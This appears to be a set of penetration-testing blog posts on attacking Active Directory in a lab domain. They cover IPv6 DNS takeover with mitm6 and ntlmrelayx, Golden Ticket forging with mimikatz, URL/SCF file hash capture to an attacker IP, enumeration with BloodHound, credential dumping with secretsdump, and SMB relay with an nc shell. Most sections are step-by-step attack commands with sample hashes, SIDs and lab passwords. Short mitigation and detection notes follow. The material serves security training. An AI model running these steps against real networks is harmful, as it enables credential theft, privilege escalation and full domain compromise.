[Active Directory] IPv6 DNS takeover via MItM

IPv6 DNS Takeover Overview

  1. This attack attempts a DNS takeover in a network via IPv6 using mitm6, which listens for ipv6 DNS requests, spoofs the DNS reply and passes it to ntlmrelayx.
  2. Ntlmrelayx captures NTLM credentials obtained through a fake WPAD proxy and relays them to an authentication service.
  3. Once it succeeds in authentication, it dumps the domain information. This attack can be built upon to get all the NTLM hashes from the domain.

All Windows versions since Windows Vista (including server variants) have IPv6 enabled and prefer it over IPv4. By default, every Windows machine since Windows Vista will request this configuration regularly.

Attack Requirements

  • Domain Name
  • IP address of Domain Controller
  • Tools: mitm6 & Impacket-ntlmrelayx
  • IPv6 DNS request on the network
  • User with privileges

Warning: Run it during short timeframes, and during specific hours like Start of shift, right after lunch, when users turn on their laptops and log in again

The mitm6 attack

Attack phase 1 – Primary DNS takeover

mitm6 starts with listening on the primary interface of the attacker machine for Windows clients requesting an IPv6 configuration via DHCPv6. This can be seen in a packet capture from Wireshark:

  • DHCPv6 Solicit
  • DHCPv6 Advertise
  • DHCPv6 Request
  • DHCPv6 Reply

mitm6 will reply to those DHCPv6 requests, assigning the victim an IPv6 address within the link-local range. While in an actual IPv6 network these addresses are auto-assigned by the hosts themselves and do not need to be configured by a DHCP server, this gives us the opportunity to set the attackers IP as the default IPv6 DNS server for the victims.

mitm6 does not advertise itself as a gateway, and thus hosts will not actually attempt to communicate with IPv6 hosts outside their local network segment or VLAN.

Attack phase 2 – DNS spoofing

On the victim machine we see that our server is configured as DNS server. Due to the preference of Windows regarding IP protocols, the IPv6 DNS server will be preferred over the IPv4 DNS server. The IPv6 DNS server will be used to query both for A (IPv4) and AAAA (IPv6) records.

Once the attacker has control of the DNS requests, they can utilize them to carry out a variety of attacks. For instance, they might divert traffic intended for a legitimate website to a phony version of the same site that is intended to steal sensitive data like login credentials.

Attack phase 3 – Attacking WPAD (MS16-077)

WPAD simplifies proxy configuration by dynamically providing settings based on network conditions.

  1. Clients use DHCP and/or DNS to find a web server on your network that hosts the wpad.dat file.
  2. The wpad.dat file specifies rules based on URL patterns, IP addresses, and domains.
  3. If a client’s requested URL matches any rule, it follows the corresponding proxy configuration.
  4. If no rule matches, the default proxy server (specified in the wpad.dat file) is used.
  5. You can use this to set up content filtering, exceptions, and custom proxy servers1.

PAC File (wpad.dat): A special Proxy Auto Configuration (PAC) file describes rules for using a proxy. The predefined name for this file is wpad.dat

Attack phase 4 – Download the AD database

Once the wpad.dat has been served, the scripts will download domain enumeration into the specified folder.

These files include

  • Domain Computers
  • Domain Groups
  • Domain Policy
  • Domain Users

Attack phase 5 – IPv6 DNS taken over

Once, the IPv6 DNS has been taken over, if a user with sufficient privileges logs in, these scripts will attempt to add a new user within Active Directory. This user will have Enterprise Admins privileges, which can be used to perform DC Sync to the Domain Controller.

If we verify the Active directory user list, we can find this new user created

Next step would be trying a DCSync attack using these credentials.

Attack Execution

1. Find out about the domain name, by querying the domain controller

  • nmap -sC -A

2. Run the necessary services (ntlmrelayx)

  • impacket-ntlmrelayx -6 -t ldaps://DC-IP -wh <wpad_fake_name>.<domain.local> -l <folder name>
  • impacket-ntlmrelayx -6 -t ldaps:// -wh fakewpad.lab.local -l lootme

3. Now run the MITM6 tool, to start spoofing the IPv6 DNS (https://github.com/dirkjanm/mitm6)

  • sudo python3 mitm6.py -d <domain>
  • sudo python3 mitm6.py -d lab.local

4. Wait for a computer to request IPv6 DNS over the network

we can host a fake WPAD for the victim, which sets the web proxy to the attacker’s IP address when queried. Now, whenever the victim uses any application that connects to the internet, it will use our machine as a proxy. Once connected, the proxy server (attacker machine) responds with an HTTP 407:Proxy Authentication required, prompting the Windows machine to send us the NTLM challenge/response. This can be relayed to different authentication services such as LDAPS, SMB or HTTP.

5. When this occurs, it means, we poisoned the remote host, now we need to wait for a user to log into this machine, once, it happens we will see “HTTPD(80): Authenticating against ldaps:// as LAB/SUCHIHA SUCCEED”

After authentication ntlmrelayx performs a ldap domain dump which provides us with quite a bit of information for us. These file can be found in lootme folder which we specified when we were setting up the relay.

6. Now if an administrator tries to login to a compromised machine and it succeeds, ntlmrelayx is going to create an access control list or ACL for us and is going to set us with a new user and password, with the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges.

Extra: DCSync

1. Having these new credentials, we can perform a DCSync attack against the domain controller

  • impacket-secretsdump lab.local/eYcmWVhNDv:'X*}CdYk6jTk0z>V'@ -just-dc


MITM6 attacks can be difficult to detect and prevent, as they often involve sophisticated techniques and tools. However, there are steps that organizations and individuals can take to protect against these types of attacks:

  • Disabling IPv6 if it is not used on your internal network will prevent Windows clients from querying for a DHCPv6 server thereby making it impossible to take over the DNS server.
  • Disable the Proxy Auto detection via Group Policy. If your company uses a proxy configuration file internally (PAC file) it is recommended to explicitly configure the PAC URL instead of relying on WPAD to detect it automatically.
  • In order to prevent NTLM relaying you should consider disabling it entirely and switch to Kerberos or, if that isn’t possible, you should:
  • enable SMB signing to prevent relaying to SMB by requiring all traffic to be signed
  • enable LDAP signing to prevent unsigned connections to LDAP
  • Enable extended protection for authentication which will prevent some relaying attacks by ensuring that the TLS channel used for the connection to the server is the same that the client uses when authenticating.











[Active Directory] Kerberos Golden ticket

With Kerberos, users never directly authenticate themselves to the various services they need to use, such as file servers. Instead, the Kerberos Key Distribution Center (KDC) functions as a trusted third-party authentication service. Every domain controller in an Active Directory domain runs a KDC service.

The KDC issues a ticket granting ticket (TGT), which includes a unique session key and a timestamp that specifies how long that session is valid (normally 8 or 10 hours). When the user needs access to resources, they don’t have to re-authenticate; their client machine simply sends the TGT along to prove that the user has already been recently authenticated.

Kerberos Golden Ticket hacking is a sophisticated attack that exploits weaknesses in the Kerberos authentication protocol, which is widely used for securing authentication in various network environments. In this attack, adversaries create a forged Kerberos Ticket Granting Ticket (TGT), referred to as a "Golden Ticket," allowing them to gain unauthorized access to a network and impersonate any user without the need for valid credentials.


Privileged Access:

  • The attacker needs elevated privileges to access the KDC database or extract password hashes, often obtained through a successful compromise of an administrative account.

In a Golden Ticket attack, hackers bypass the KDC and create TGTs themselves to get access to various resources. To forge a TGT, hackers need four key pieces of information:

  • The FQDN (Fully Qualified Domain Name) of the domain
  • The SID (Security Identifier) of the domain
  • The username of the account they want to impersonate
  • The KRBTGT password hash

Exploitation (Mimikatz)

1. After compromising the domain controller, use mimikatz to dump the krbtgt hash

  • lsadump::lsa /inject /name:krbtgt
  • privilege::debug

2. Grab the following (NTLM, SID domain)

  • NTLM : 43ee24a65422dd3e241dda802463c4de
  • Domain : LAB / S-1-5-21-2564449761-2250179813-2142005236
  • aes256_hmac (4096) : 20e985711889035d33aff3f05781370c1d095cf7abf0dcfe9bb64f70c3dc0bea

3.. Generate the Kerberos ticket, assigned to a real user, use the admin account RID (default 500), and set ptt

  • kerberos::golden /User:Administrator /domain:lab.local /sid:S-1-5-21-2564449761-2250179813-2142005236 /krbtgt:43ee24a65422dd3e241dda802463c4de /id:500 /ptt
  • kerberos::golden /User:Administrator /domain:lab.local /sid:S-1-5-21-2564449761-2250179813-2142005236 /krbtgt:43ee24a65422dd3e241dda802463c4de /id:500,513,2668 /ptt /aes256:20e985711889035d33aff3f05781370c1d095cf7abf0dcfe9bb64f70c3dc0bea
  • kerberos::golden /domain:lab.local /sid:S-1-5-21-4172452648-1021989953-2368502130 /rc4:43ee24a65422dd3e241dda802463c4de /user:newAdmin /id:500 /ptt

  • /domain — The FQDN of the domain
  • /sid — The SID of the domain
  • /aes256 — The AES-256 password hash of the KRBTGT user (alternatively, /ntlm or /rc4 can be used for NTLM hashes, and /aes128 for AES-128)
  • /user — The username to be impersonated
  • /groups — The list of groups (by RID) to include in the ticket, with the first being the user’s primary group
  • /ptt — Indicates that the forged ticket should be injected into the current session instead of being written to a file

4. Once, the ticket has been generated you can run commands to remote machines, with this command you will open a new CMD

  • misc::cmd

5. List the available tickets

  • klist

5. Test connecting to another machine

  • dir \\client-2\c$

Because the TGT is signed and encrypted with the real KRBTGT password hash, any domain controller will accept it as proof of identity and issue ticket-granting service (TGS) tickets for it.

As the adversary discovers more about the environment, they can continue to mint tickets for accounts with specific group membership to access any application, database or other resource that uses Active Directory for authentication and authorization.


Regularly Rotate Kerberos Service Account Passwords

Minimize the number of accounts that can access the KRBTGT password hash.

Minimize opportunities for hackers to steal privileged credentials.

Monitor and Audit KDC Logs

Regular Security Audits

Detection Methods for the Golden Ticket Attack

Event ID 4769 - A Kerberos Service Ticket was requested.

  • Key Description Fields: Account Name, Service Name, Client Address

Event ID 4624 - An account was successfully logged on.

  • Key Description Fields: Account Name, Account Domain, Logon ID

Event ID 4627 - Identifies the account that requested the logon.

  • Key Description Fields: Security ID, Account Name, Account Domain, Logon ID










[Active Directory] URL file attacks

A URL file attack captures account hashes via a user accessing a folder that contains a specially crafted file that forces the user to request an icon off the attackers machine. The resource does not exist though. The act of initiating a connection to the attackers machine is how the hash is captured. Also note that the user does not need to open the file, nor is their any indication that anything has happened behind the scenes. They just need to open the folder that the file is located in which makes this a perfect for shared folders.

This attack is only applicable to intranet communication and does not work with outside network.

This is a post compromise attack and following are the conditions

  • There is a file share accessible across the network
  • Attacker has compromised at least one machine which has access to the file share with write permissions

1. Create The File

The file name must begin with either a “@” symbol or a “~” symbol and the filetype must be “url”. Example: “@readme.url”

2. Contents of the file

IconFile=\\<attacker IP>\%USERNAME%.icon


The same can be done with an scf file. Example: @readme.scf

IconFile=\\<attacker IP>\Share\test.ico


  • [InternetShortcut] is a header line that specifies the file type and indicates that the following lines are instructions for an internet shortcut
  • URL=anyurl specifies the URL of the website or web page that the shortcut should launch. The actual URL should be provided in place of the “anyurl” placeholder
  • WorkingDirectory=anydir specifies the default working directory for the shortcut. In most cases, this will be the directory in which the shortcut file is located. You can replace the “anydir” placeholder with the full path of the directory, if necessary
  • IconFile=\\x.x.x.x\%USERNAME%.icon specifies the location of the icon file to use for the shortcut. The icon file can be stored on a remote computer, which is specified by the IP address “x.x.x.x”. The “%USERNAME%” placeholder is replaced with the current user’s username. The “.icon” extension specifies the type of file that contains the icon data
  • IconIndex=1 specifies which icon in the specified icon file should be used for the shortcut. In this case, the number “1” references to the first icon in the file for use. If the icon file contains multiple icons, choose the number accordingly to select a different icon


1. Connect to a share and drop the file (.url or .scf) (@readme.url or @readme.scf) @ in the name sets the file at the top, make sure the file has the proper file type

2. Start responder with HTTP and SMB is turned ON

  • sudo responder -I eth0 -w -b -v -F

3. Wait for someone to connect to the share, and, you’ll get data back

Cracking with hashcat

1. Identify the hash type number using (https://hashcat.net/wiki/doku.php?id=example_hashes)

  • search NTLMv2


2. Knowing the hash ID from https://hashcat.net/ we can proceed to use the hash file, and a wordlist

  • hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt


Note: as you can see Status: Cracked, and the password is displayed next to the hash, Password: Kyuubi123

Cracking using John

1. Identify the hash type using --list=format

  • john --list=formats | awk -F", " '{for (i=1; i<=NF; i++) print $i}' | grep -i ntlm


2. Run john against our hash file, set the hash type and the wordlist

  • john --wordlist=/usr/share/wordlists/rockyou.txt --format=netntlmv2 hash.txt








[Active Directory] Post-Compromise Enumeration

In an Active Directory domain, a lot of interesting information can be retrieved via LDAP by any authenticated user (or machine). This makes LDAP an interesting protocol for gathering information in the recon phase of a pentest of an internal network. A problem is that data from LDAP often is not available in an easy to read format.

Generally, you'll need at least the following permissions:

Read Access to Active Directory:

  • The account should have read access to the Active Directory structure to retrieve information about users, groups, and other directory objects.

Replicating Directory Changes:

  • For more detailed information, such as the last logon time of users, the account may need the "Replicating Directory Changes" permission. This permission is required for attributes that are not included in the default read access.

Administrative Privileges (Optional):

  • In some cases, ladpdumpdomain may require administrative privileges to retrieve certain information. If you're looking to gather data on administrative groups or accounts, the account running the tool may need to be a member of a group with sufficient privileges.

Network Access:

  • Ensure that the account has the necessary network access to connect to the domain controller and query Active Directory.

Ldapdomain enum

ldapdomaindump is a tool used for dumping information from Active Directory, including user accounts, group memberships, and other relevant details, by collecting and parsing information available via LDAP and outputting it in a human readable HTML format, as well as machine readable json and csv/tsv/greppable files.

You can find the tool on GitHub or other reliable sources. (https://github.com/dirkjanm/ldapdomaindump)

The tool was designed with the following goals in mind:

  • Easy overview of all users/groups/computers/policies in the domain
  • Authentication both via username and password, as with NTLM hashes (requires ldap3 >=1.3.1)
  • Possibility to run the tool with an existing authenticated connection to an LDAP service, allowing for integration with relaying tools such as impackets ntlmrelayx

The tool outputs several files containing an overview of objects in the domain:

  • domain_groups: List of groups in the domain
  • domain_users: List of users in the domain
  • domain_computers: List of computer accounts in the domain
  • domain_policy: Domain policy such as password requirements and lockout policy
  • domain_trusts: Incoming and outgoing domain trusts, and their properties

As well as two grouped files:

  • domain_users_by_group: Domain users per group they are member of
  • domain_computers_by_os: Domain computers sorted by Operating System

How to use ldapdomaindum

1. Execute the script (it is pre-installed in newer Kali Linux) against the Domain Controller server

  • sudo ldapdomaindump ldaps:// -u 'lab.local\vry4n' -p IamAdmin123 -o data

ldapdomaindump: This is likely the name of a tool or script designed for extracting information from an LDAP (Lightweight Directory Access Protocol) server. It's used to query and retrieve data from an LDAP directory.

ldaps:// This specifies the LDAP server's address and protocol. In this case, it's using LDAPS, which is the secure version of LDAP over TLS/SSL. The server is located at the IP address

-u 'lab.local\vry4n': This option specifies the username to be used for authentication. The provided username is in the format domain\username, where lab.local is the domain and vry4n is the username.

-p IamAdmin123: This option specifies the password associated with the provided username. In this case, the password is set to ‘IamAdmin123’.

-o data: creates a new folder and saves the files there

2. Inspect all the files looking for users, computers, trusts, groups, policies

Post enumeration using Bloodhound

1. Set up the tool

  • sudo pip install bloodhound

2. Run neo4j

  • sudo neo4j console

3. Navigate to the address provided by neo4j,in this case http://localhost:7474/

  • username: neo4j
  • password: neo4j

Note: After logging in you might be asked to change the password

4. Download and run bloodhound

  • wget https://github.com/BloodHoundAD/BloodHound/releases/download/4.0.2/BloodHound-linux-x64.zip
  • unzip BloodHound-linux-x64.zip
  • cd BloodHound-linux-x64
  • sudo ./BloodHound --no-sandbox

4. Use your neo4j credentials

  • username: neo4j
  • password: newneo4j

5. Inject data into Bloodhound, you can use bloodhound tool for this

  • mkdir bloodhound-results
  • cd bloodhound-results
  • sudo bloodhound-python -d lab.local -u vry4n -p IamAdmin123 -ns -c all

bloodhound-python: This is a tool used for Active Directory (AD) enumeration and analysis. It helps identify attack paths, permissions, and potential security risks within an AD environment.

-d lab.local: Specifies the Active Directory domain to target, in this case, it's set to 'lab.local'.

-u vry4n: Specifies the username to be used for authentication. In this case, the username is 'vry4n'.

-p IamAdmin123: Specifies the password associated with the provided username. Here, the password is set to 'IamAdmin123'.

-ns Specifies the target Active Directory server's IP address. It's set to ''.

-c all: Specifies the collection method. In this case, 'all' indicates that all available data should be collected. This includes information about domains, users, groups, computers, group memberships, permissions, etc.

6. In Bloodhound click on “upload data”, selectthe .json files, click open

7. Once data is loaded it is displayed in Bloodhound, you can start your searches and mapping relationships

Post enumeration using Plumhound

1. We need to run this tool on top of Bloodhound & Neo4j which should be running (https://github.com/PlumHound/PlumHound) , to set up this tool

  • git clone https://github.com/PlumHound/PlumHound.git
  • cd PlumHound
  • sudo pip3 install -r requirements.txt

2. Run the tool to do a test, using neo4j password

  • sudo python3 PumHound.py --easy -p newneo4j

3. Make sure all the tasks completed

4. Knowing that the test completed, now you can run a task, read PlumHound documentation to know about tasks, this will create a new folder with a Report.zip file

  • sudo python3 PumHound.py -x tasks/default.tasks -p <neo4j password>

5. Unzip and start looking at the data

  • cd reports
  • unzip Reports.zip

Health check with PingCastle

1. Having remote access to the computer we can run PingCastle executable, Download the tool from (https://www.pingcastle.com/download/)

2. Using cmd or powershell run the executable

  • .\PingCastle.exe

3. Select the type of check, in this case I’ll select 1. HealthCheck, then enter the domain

4. It may take some minutes until it completes, it creates 2 files with data .html & .xml

5. opening this file we get a lot of information about the domain, and possible misconfigurations.

[Active Directory] Dumping credentials with impacket-secretsdump

Impacket SecretsDump is a powerful tool used in penetration testing and ethical hacking for extracting plaintext credentials and other sensitive information from Windows systems. Developed in Python, Impacket is an open-source collection of Python classes for working with network protocols. SecretsDump, a part of the Impacket suite, focuses specifically on extracting credentials and secrets from Windows machines.

Hive Details Format or credential material
SAM stores locally cached credentials (referred to as SAM secrets) LM or NT hashes
SECURITY stores domain cached credentials (referred to as LSA secrets) Plaintext passwords

LM or NT hashes

Kerberos keys (DES, AES)

Domain Cached Credentials (DCC1 and DCC2)

Security Questions (L$SQSA<SID>)

SYSTEM contains enough info to decrypt SAM secrets and LSA secrets N/A


  • Credential Extraction
  • Kerberos Ticket Extraction
  • NTLM Hash Dumping
  • Local and Remote Operations
  • Pass-the-Ticket (PTT) Attack

How to use

1. Display the tool help

  • impacket-secretsdump -h

2. Remote dumping of SAM & LSA secrets

  • impacket-secretsdump lab.local/vry4n:IamAdmin123@

3. dump the NTLM from DC, Active directory users

  • impacket-secretsdump lab.local/vry4n:IamAdmin123@ -just-dc-ntlm

4. Remote dumping of SAM & LSA secrets (pass-the-hash)

  • secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
  • impacket-secretsdump lab.local/administrator@ -hashes aad3b435b51404eeaad3b435b51404ee:702262e2d64f9c0df2bec8ca45ff2985

5. Remote dumping of SAM & LSA secrets (pass-the-ticket)

  • secretsdump.py -k 'DOMAIN/USER@TARGET'

6. Offline dumping of LSA secrets from exported hives

  • secretsdump.py -security '/path/to/security.save' -system '/path/to/system.save' LOCAL

7. Offline dumping of SAM secrets from exported hives

  • secretsdump.py -sam '/path/to/sam.save' -system '/path/to/system.save' LOCAL

8. Offline dumping of SAM & LSA secrets from exported hives

  • secretsdump.py -sam '/path/to/sam.save' -security '/path/to/security.save' -system '/path/to/system.save' LOCAL

[Active Directory] SMB Relay attack

SMB is a network protocol used by Windows-based systems to share files, printers, and other resources. In an SMB relay attack, an attacker intercepts and relays authentication messages between a client and a server. The attacker essentially tricks the systems into thinking they are communicating with each other when, in fact, the attacker is mediating the conversation.

SMB signing verifies the origin and authenticity of SMB packets. Effectively this stops MiTM SMB relay attacks from being successful. If this is enabled and required on a machine, we will not be able to perform a successful SMB relay attack.

Example of SMB communication

  • NetBIOS session established between the client and the server,
  • Server and client negotiation the SMB protocol dialect,
  • Client logs on to the server with the proper credentials,
  • Client will connect to a shared resource hosted on the server (i.e. wireless printer),
  • Client opens a file on the share, and,
  • Client reads or edits the requested resource. That would be a top-level overview of what happens during a regular SMB exchange.

Systems that are vulnerable to this attack have SMB signing configured to the following:

  • SMB Signing enabled but not required
  • SMB Signing disabled

Systems that are not vulnerable to this attack have SMB signing configured to the following:

  • SMB signing enabled and required

By default, only Domain Controllers have SMB signing set to required. However, Microsoft is now beginning to make this the default settings for all clients systems starting with Windows 11 Pro and Enterprise insider builds: https://techcommunity.microsoft.com/t5/storage-at-microsoft/smb-signing-required-by-default-in-windows-insider/ba-p/3831704


  • SMB signing must be disabled or not enforced on the target
  • Must be on the local network
  • Relayed user credentials must be admin on machine for any real value, for example; local admin to the target machine or member of the Domain Administrators group.


1. SMB & HTTP modules should be OFF in responder tool (/usr/share/responder/Responder.conf)

  • sudo vi /usr/share/responder/Responder.conf

2. Run responder to verify the modules are turned off

  • sudo responder -I eth0 -w -b -v -F


1. Scan the target for smb2 security mode

  • nmap --script=smb2-security-mode.nse -p445 -Pn


1. Create a list of target hosts

  • vi targets.txt
  • cat targets.txt

2. Start responder

  • sudo responder -I eth0 -w -b -v -F

3. Start impacket-ntlmrelayx

  • impacket-ntlmrelayx -tf targets.txt -smb2support

4. Wait for a failed attempt from a user (local administrator or domain admin) to connect to SMB share using the wrong server name so DNS fails

Note: impacket-ntlmrelayx dumps SAM accounts (usernames & hashes)

Interactive mode (Shell)

1. Use Impacket-ntlmrelayx interactive mode (-i)

  • impacket-ntlmrelayx -tf targets.txt -smb2support -i

2. The tool started a new shell on port 11000, so now, you need to connect to it using your attack machine

  • nc 11000

3. Use help command to display the list of commands allowed to use

  • help

4. Sample of running commands

  • shares
  • use C$
  • ls

Run commands

1. You can also run commands as soon as you receive a connection using the flag (-c)

  • impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"

Note: depending on the version of ntlmrelax this may fail


Enable SMB Signing on all devices

  • Pro: Completely Stops the attack.
  • Con: can cause performance issues with the file copies.

Disable NTLM authentication on network

  • Pro: Completely stops the attack.
  • Con: If kerberos stops working, Windows default back to NTLM.

Accounting tiering:

  • Pro: Limits domain admins to specific tasks(e.g. only log onto servers with need of DA)
  • Con: Enforcing the policy may be difficult.

Local admin restriction:

  • Pro: Can prevent a lot of lateral movement.
  • Con: Potential increase in the amount of service desk tickets.